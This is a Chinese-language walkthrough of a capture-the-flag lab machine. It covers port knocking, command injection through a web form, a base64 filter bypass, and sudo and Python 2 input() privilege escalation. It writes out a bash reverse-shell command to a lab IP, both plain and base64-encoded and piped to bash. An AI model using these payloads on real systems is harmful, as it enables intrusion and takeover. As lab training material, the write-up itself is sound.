本文为系列文章第五篇,难度为高级,本篇涉及到SSH的Knock敲门机制,命令执行漏洞及绕过,python反编译,python的input漏洞等知识,最好是懂点编程知识,能够看懂python代码,这将是通过本篇靶机的1个关键,当然信息收集能力仍是你最大的助力。
信息收集
对目标进行端口扫描,探测开放的端口及应用,目标主机开放了21,22,1337,7331端口,其中7331端口为web应用端口。
首先关注到21端口,nmap扫描得知可匿名登录,所以使用ftp匿名登录上去发现3个txt文件,都下载到本地查看。从三个文件的信息来看,第1个信息可能是账户密码,第2个提示1337端口有个小游戏,完成了会获得奖励,第3个信息是封邮件。通过第2个小游戏,编写计算代码赢得奖励,得知SSH的knock敲门端口。
前面到此先放着,再关注到7331的web端口,使用目录扫描工具扫描发现两个可用目录,分别为/wish和/genie。访问/wish目录出现输入框(execute)和提交按钮,寓意提交你想执行的东西。那么这里就想到命令执行,输入id,跳转到/genie界面,发现执行了id命令。之后通过执行反弹shell的命令去获取目标权限即可,只不过这里存在字符过滤,需要绕过,可使用base64编码的形式绕过,最后成功拿到目标第一个权限
提权
拿到服务器权限后一般是低权限账号,那么就需要提权,通过查看当前目录下的文件,得知存储账户密码的文件路径,找到了一对用户名密码。由于当前用户权限输入的字符都是double输入,自然想到通过ssh登录更方便。结合之前SSH的knock敲门机制,先把22端口敲开,使用找到的账户密码登录上去拿到nitish用户权限。之后通过genie的sudo提权拿到sam用户权限,接着通过yago的sudo执行,有4个选项,任意输入无果,最后通过反编译sam目录下的.pyc文件得知该程序的源码,利用python的input漏洞成功提权,拿到root权限。
靶机难度:高级
靶机描述:
flags:user.txt and root.txt
Description:The machine is VirtualBox as well as VMWare compatible. The DHCP willassign an IP automatically. Youll see the IP right on the loginscreen. You have to find and read two flags (user and root) which ispresent in user.txt and root.txt respectively.
Format:Virtual Machine (Virtualbox - OVA)
OperatingSystem: Linux
靶机地址:
靶机ip:192.168.1.103
用到的知识点、工具和漏洞:
Nmap:一款开源的端口扫描器,用于端口扫描及服务识别
FTP匿名登录:FTP的匿名登录机制,可使用anonymous登录
Dirsearch:一款目录扫描工具,与之前介绍的dirbuster都是用作目录扫描
命令执行及绕过:命令执行漏洞由于代码未对操作系统命令的参数进行过滤或白名单校验,导致可执行危险的系统命令。
Knock敲门机制:SSH的安全防护机制,需要访问设置的3个端口才能开启22端口
.pyc反编译:对pyc文件反编译得到.py源码文件
主机探测:netdiscover-i eth0 -r 192.168.1.0/24
端口探测及服务识别:nmap-sS -sV -T5 -A -p- 192.168.1.103
当前靶机开放了21,1337和7331端口。这里发现ftp可以匿名登录,先进去看看有什么文件。
登陆后发现有3个txt文件,都下载到本地看看
从三个文件的信息来看,第1个信息可能是账户密码,第2个提示1337端口有个小游戏,完成了会获得奖励,第3个信息是封邮件。来看看1337的游戏是什么,使用telnet访问看看。
似乎是加减运算,需要计算1000次才能够完成,看来需要编写一个脚本去完成这个小游戏。这里使用python写了1个小程序去跑
运行脚本完成后,得到3个数字。看着像是SSH的Knock敲门机制,需要分别访问这三个端口,22端口才会开放。
Kali上使用knock命令需先安装Knockd,我这里已经安装过了,可使用apt-getinstall knockd进行安装。之后进行敲门
此时22端口已经开放,之前有发现一对似乎是账号密码的信息,拿来尝试一下
看来不是的,由于没有账户密码,这里就先放放。从7331的web服务入手
先扫一波目录,这里用的dirsearch,kali上需要自行从github上下载。这里使用的1个字典SecLists也是从github上下载的
./dirsearch.py -u 192.168.1.103:7331 -e * -w
/root/zidian/SecLists/Discovery/Web-Content/raft-large-directories.txt
解释一下参数,-u后面接url,-e后面接后缀,代表所有后缀,如php,jsp,html,txt等,-w指定字典。
这里扫出两个目录/wish和/genie,访问一下看看。
看到这个就想到了命令执行,先输个id试试,果然存在命令执行
试一下反弹shell,bash-i >& /dev/tcp/192.168.1.104/1234 0>&1,kali上使用nc监听1234端口
出现错误,看来是存在过滤。先看看过滤了哪些字符
/,&被过滤了。
那么可以试一下base64编码绕过,然后使用echo解码执行,使用下面这条命令
echoYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA0LzEyMzQgMD4mMQ==| base64-d |bash
成功反弹shell。
拿到shell第1件事就是获取一个标准shell,可通过以下命令获取
python -c import pty; pty.spawn("/bin/bash")
先看下本目录下有啥东西
有1个app.py文件,查看一下内容,发现了1个txt文件路径
查看一下,得到了一组用户名密码
前面因为已经开放了22端口,为了更方便的使用shell,越是不在此会话中切换用户,而是使用SSH登录上去操作。
拿到nitish的权限,先进入其home目录下看看
拿到user.txt这个flag
下面需要进行提权,因为刚得到的shell权限较低,得想办法获取高权限账户,最终获取root权限。
最后就是如何获取root权限,有以下几个思路
Sudo -l 查询具有sudo权限命令,然后提权
SUID提权,find / -perm -u=s -type f 2>/dev/null
通过在/etc/passwd添加一个root权限的账户进行提权
find / -writable -type f 2>/dev/null 查找可利用的可写文件
内核提权
这里使用sudo-l 查询有哪些sudo权限命令
这里需通过genie提权,sudo-u sam /usr/bin/genie
这里需要加上参数,我这里使用-p参数进行提权,可是没有成功
然后使用mangenie看下该命令的使用手册
依照使用手册,看来是使用-p,-e或者-cmd参数来执行提权命令
于是又试了一下-e参数,不过还是没有成功
最后再试了下-cmd参数,成功获取sam用户权限,发现-cmd后面参数随便填都可以
再次使用sudo-l查询有哪些sudo权限
通过sudo执行,有4个选项,每个都去尝试了一下,没啥作用
这样先去看下sam目录下有啥东西,找一下是否有其他信息提示
在sam目录下发现1个.pyc文件,先把它下载到本地,
.pyc文件无法直接查看,需要进行反编译,这里可以使用python的uncompyle进行反编译,需要使用pipinstall uncompyle进行安装
然后使用uncompyle16xxx.pyc >xxx.py进行反编译
之后打开看看
发现这就是我们执行sudo/root/lago时运行的程序代码,在我们执行猜数流程时,让我输入1-100的数字,当s==num时执行system(‘/bin/sh’),根据此代码我们输入num即可提权
至此,我们获得了root权限,读取最后一个flag
前面sudo/root/lago提权时的原理是根据python的input函数进行提权,网上搜了一下,这个input函数的漏洞在于,当input函数接收的值为某个已定义的变量时,将等同与此变量。
固这里我们只需输入sum,该程序即会运行system(‘/bin/sh’)
Knock敲门机制是SSH的1个比较好的安全防护机制,但不要泄露三个敲门端口哟。
涉及的命令执行的代码需要对参数进行过滤,最好是白名单校验。
Python的input漏洞存在于python2中,若使用python2的话请记得该漏洞。
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/130051.html
摘要:本文将分享软件基本用法及文件进程注册表查看,这是一款微软推荐的系统监视工具,功能非常强大可用来检测恶意软件。可以帮助使用者对系统中的任何文件注册表操作进行监视和记录,通过注册表和文件读写的变化,有效帮助诊断系统故障或发现恶意软件病毒及木马。 ...
阅读 1249·2023-01-11 13:20
阅读 1557·2023-01-11 13:20
阅读 1011·2023-01-11 13:20
阅读 1680·2023-01-11 13:20
阅读 3971·2023-01-11 13:20
阅读 2519·2023-01-11 13:20
阅读 1310·2023-01-11 13:20
阅读 3486·2023-01-11 13:20